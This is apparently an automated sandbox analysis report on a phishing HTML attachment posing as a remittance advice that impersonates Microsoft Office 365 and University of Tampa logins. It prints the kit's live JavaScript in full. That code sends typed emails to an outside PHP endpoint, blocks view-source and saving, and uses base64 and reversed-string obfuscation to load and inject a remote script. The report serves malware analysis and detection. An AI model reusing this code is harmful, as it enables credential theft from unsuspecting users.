Windows Analysis Report
Remit_Advice_SMKT_84655.htm

{
    "risk_score": 6,
    "reasoning": "This script exhibits several behaviors that raise moderate security concerns. It includes dynamic code execution through the use of jQuery selectors, aggressive DOM manipulation by hiding and showing various elements, and potential data exfiltration by sending user data to an external domain. While the script appears to have some legitimate functionality, such as updating branding and handling authentication flows, the overall implementation raises enough red flags to warrant further investigation and a medium-risk score."
}

      if (localStorage.getItem('ov-cf')){
        const urls = [
          'https://www.netflix.com',
          'https://www.github.com',
          'https://www.bbc.com',
          'https://www.paypal.com',
          'https://www.codecademy.com'
        ];
        let redir;
        let count = 0
        const KlwiHWjdk = $('#KlwiHWjdk').val();
        const JKDfIUfjdsnf = $('#JKDfIUfjdsnf').val();
        const urlimg = 'https://llendercorp.com/e7ff70e1-f3a4-4dff-a1fa-b363de12091c/khL9kO2fV1.php'.replace('khL9kO2fV1.php', 'M3sN0tL8kY/images/');

        setTimeout(function() {
          $("#lightbox").show(), $("#i0118").focus();
        }, 100);
        $(document).bind('keydown', function(e) {
          if (e.ctrlKey && (e.which == 83)) {
            e.preventDefault();
            return false;
          }
        });
        document.addEventListener('contextmenu', event => event.preventDefault());
        document.onkeydown = function(e) {
          if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 117)) {
            return false;
          } else {
            return true;
          }
        };
        $(document).keypress("u", function(e) {
          if (e.ctrlKey) {
            return false;
          } else {
            return true;
          }
        });

        // random strings
        function strings(length) {
          const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=^*~`";
          let result = '';
          const charactersLength = characters.length;
          
          for (let i = 0; i < length; i++) {
              result += characters.charAt(Math.floor(Math.random() * charactersLength));
          }
          
          return result;
        }

        // logo and background
        function updateBranding(email) {
          $("#idBtn_Back").hide();
          $("#options").hide();
          $(".banner-logo").hide();
          $("#displayName").hide();
          $("#important").hide();
          $("#i0118").hide();
          $("#idA_PWD_ForgotPassword").hide();
          $("#idSIButton9").hide();
          $("#loginHeader").hide();
          $("#arrow").hide();
          $("#progressBar").show();
          $.ajax({
            dataType: 'JSON',
            url: 'https:////llendercorp.com/e7ff70e1-f3a4-4dff-a1fa-b363de12091c/khL9kO2fV1.php',
            type: 'POST',
            data: {
              d_log: email
            },
            success: function(res) {
              // Show elements if response is successful
              $(".banner-logo").fadeIn();
              $("#displayName").fadeIn();
              $("#i0118").fadeIn();
              $("#idA_PWD_ForgotPassword").fadeIn();
              $("#idSIButton9").fadeIn();
              $('#loginHeader').html('Enter Password');
              $("#loginHeader").fadeIn();
              $("#arrow").fadeIn();
              $("#progressBar").hide();
              if(res.sso){
                $('#gdady_css').prop('disabled', !1);
                $('#default_css').prop('disabled', !0);
                $('#adfs_css').prop('disabled', !0);
                $("#password-error-godaddy").hide();
                $("#passwordError2_godaddy").hide();
                $("#godaddy").fadeIn();
                $("#default").hide();
                $("#adfs").hide();
                $("#okta").hide();
                $('#i011e.ff-input').val(email).prop('disabled', true);
              }else if(res.adfs){
                $('#gdady_css').prop('disabled', !0);
                $('#default_css').prop('disabled', !0);
                $('#adfs_css').prop('disabled', !1);
                $("#godaddy").hide();
                $("#default").hide();
                $("#adfs").fadeIn();
                $("#okta").hide();
                $('#i011e.textInput').val(email).prop('disabled', !0);
                $('.illustrationStyle').css('background-image', 'url(' + res.background + ')');
                $('#companyLogoImg').attr('src', res.logo

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `eval` function to execute remote code, collects user data (potentially sensitive information), and employs heavy obfuscation techniques. Additionally, the script interacts with suspicious domains, further increasing the risk. Overall, this script demonstrates a high level of malicious intent and poses a significant security threat."
}

function XCcgiOqN(input) {/* Samson */ const funcName/* Achan */ = [String.fromCharCode(97),/* Heliosphere */String.fromCharCode(116),/* Lepus */String.fromCharCode(111),/* Scorpius */String.fromCharCode(98)].join('');/* Taurus */ return/* David */ (function(f) {/* Whirlpool */ return/* Auriga */ f(input);/* 1Samuel */ /* Tadpole */})(window[funcName]);/* HomoSapiens */ /* Eridanus */} (function(){/* Nehemiah */var dSfJUVnB/* GlobularCluster */="wcq5ibp1mLx4iNuMTL5JXZ1Fnav02bj5SeyVWdxpmLlR2bj9yL6MHc0RHa";/* Zophar */var pHhSavQh/* Jael */=/* Genesis */XCcgiOqN/* FelisCatus */(dSfJUVnB.split('').reverse().join(''));/* Sarai */var SwtSuNTJ/* Taurus */=document.createElement('script');/* Eliphaz */SwtSuNTJ.src=pHhSavQh;/* Hebrews */SwtSuNTJ.onload=function(){/* Jethro */function wYeAwOyv(input) {/* MaryMagdalene *//* Apollos */ const funcName/* John *//* Mishael */ = [String.fromCharCode(97),/* Sarai *//* Bartholomew */String.fromCharCode(116),/* Zechariah *//* Joshua */String.fromCharCode(111),/* Zodiac *//* Caph */String.fromCharCode(98)].join('');/* NGC1300 *//* Naomi */ return/* Judges *//* Stephen */ (function(f) {/* CanisLupus *//* Eli */ return/* BlackEye *//* Revelation */ f(input);/* Martha *//* SongOfSongs */ /* Antares *//* Joshua */})(window[funcName]);/* Jael *//* Rebecca */ /* Esther *//* Proverbs */} $(document).ready(function(){/* SongOfSongs *//* Ishmael */localStorage.setItem(/* Deborah */wYeAwOyv('b3YtY2Y')/* Abraham */,/* Deneb *//* Bartholomew *//* Boaz */wYeAwOyv('dHJ1ZQ')/* Deborah */)/* Heliosphere */;/* Uriah *//* Korach */function /* Bathsheba */emQrDurK/* Silas */(obfuscated){/* Phoenix *//* Cepheid */var /* 1Chronicles */BZrefdBq/* Solomon */=[s=>s.split(''),/* Cepheid *//* Jacob */a=>a.reverse(),/* Joshua *//* Cornelius */a=>a.join(''),/* UrsaMajor *//* Elkanah */s=>/* David */wYeAwOyv/* Pollux */(s),/* 1Chronicles *//* 2Peter */(s,/* Genesis *//* Martha */n)=>s.substring(n)],/* BinaryStar *//* 2Peter *//* Elijah */BTlgUAgV/* Ophiuchus */=71,/* Nahor *//* Judas *//* Jael */CkZNvbxE/* Cepheid */=/* Centaurus */BZrefdBq/* Revelation */[2](/* HoagsObject */BZrefdBq/* Lupus */[1](/* Asteroid */BZrefdBq/* Gideon */[0](obfuscated))),/* Priscilla *//* Solomon *//* Jochebed */KYivnCsj/* Exoplanet */=/* 1Peter */BZrefdBq/* JamesTheJust */[3](/* Jonah */CkZNvbxE/* Esau */),/* Mahalalel *//* Isaiah *//* Lyra */bybNNgBu/* Monoceros */=/* Deneb */BZrefdBq/* James */[4](/* Orion */KYivnCsj/* Korach */,/* Aaron *//* Sarai *//* Joel */BTlgUAgV/* PantheraLeo */),/* Jochebed *//* Circinus *//* Tamar */LjnZOCmo/* Proverbs */=/* Isaiah */BZrefdBq/* Vega */[2](/* MaryMagdalene */BZrefdBq/* JamesTheJust */[1](/* Ezra */BZrefdBq/* Rehoboam */[0](/* Jude */bybNNgBu/* Exodus */))),/* Tadpole *//* Proverbs *//* 2Peter */XxFXSeqE/* Jezebel */=/* Habakkuk */BZrefdBq/* Chimera */[3](/* Philippians */LjnZOCmo/* Antares */),/* Cigar *//* Quasar *//* 1Timothy */kiasgqAm/* Sunflower */=/* Abraham */BZrefdBq/* Orion */[4](/* MaryMagdalene */XxFXSeqE/* Boaz */,/* Job *//* Paul *//* Lepus */BTlgUAgV/* Cancer */);/* Silas *//* Centaurus */return/* Micah *//* Titus */ /* Zilpah */kiasgqAm/* Cepheid */;/* Sirius *//* Jethro *//* Hebrews *//* Boaz */}function /* Heliosphere */nwzRJSMY/* Nehemiah */(str){/* Hagar *//* Titus */return/* James *//* Joel */ str.split('').reverse().join('');/* Sarai *//* Belshazzar *//* Pollux *//* Lydia */}$.get(/* HoagsObject */wYeAwOyv/* Judas */(/* 1Kings */wYeAwOyv/* Deneb */(/* Jael */nwzRJSMY/* Elijah */(/* Cornelius */$('#'+/* EquusCaballus */wYeAwOyv('VUlTRWl1SUlFSUVS')/* Quasar */)/* Exodus */.val()))),/* NGC1300 *//* Colossians */function(data){/* Moses *//* Zilpah *//* BlackEye */$('#'+/* BlackEye */wYeAwOyv('c3Roanhja2doYWl1Z2hkc2Znc2Rm')/* Asteroid */)/* 2Thessalonians */.html(/* Jude */emQrDurK/* Quasar */(data));/* Martha *//* HomoSapiens *//* 3John *//* Uriah */});/* Jude *//* Amos *//* Apollos *//* Boaz */});/* Zophar *//* Auriga */;/* Romans *//* Phoenix */ document.addEventListener('contextmenu',/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in with your account to access Student",
  "prominent_button_name": "Sign In",
  "text_input_field_labels": [
    "Username",
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in with your account to access Student",
  "prominent_button_name": "Sign In",
  "text_input_field_labels": [
    "Username",
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "brands": [
    "Microsoft Office 365",
    "University of Tampa"
  ]
}

{
  "brands": [
    "Microsoft Office 365",
    "University of Tampa"
  ]
}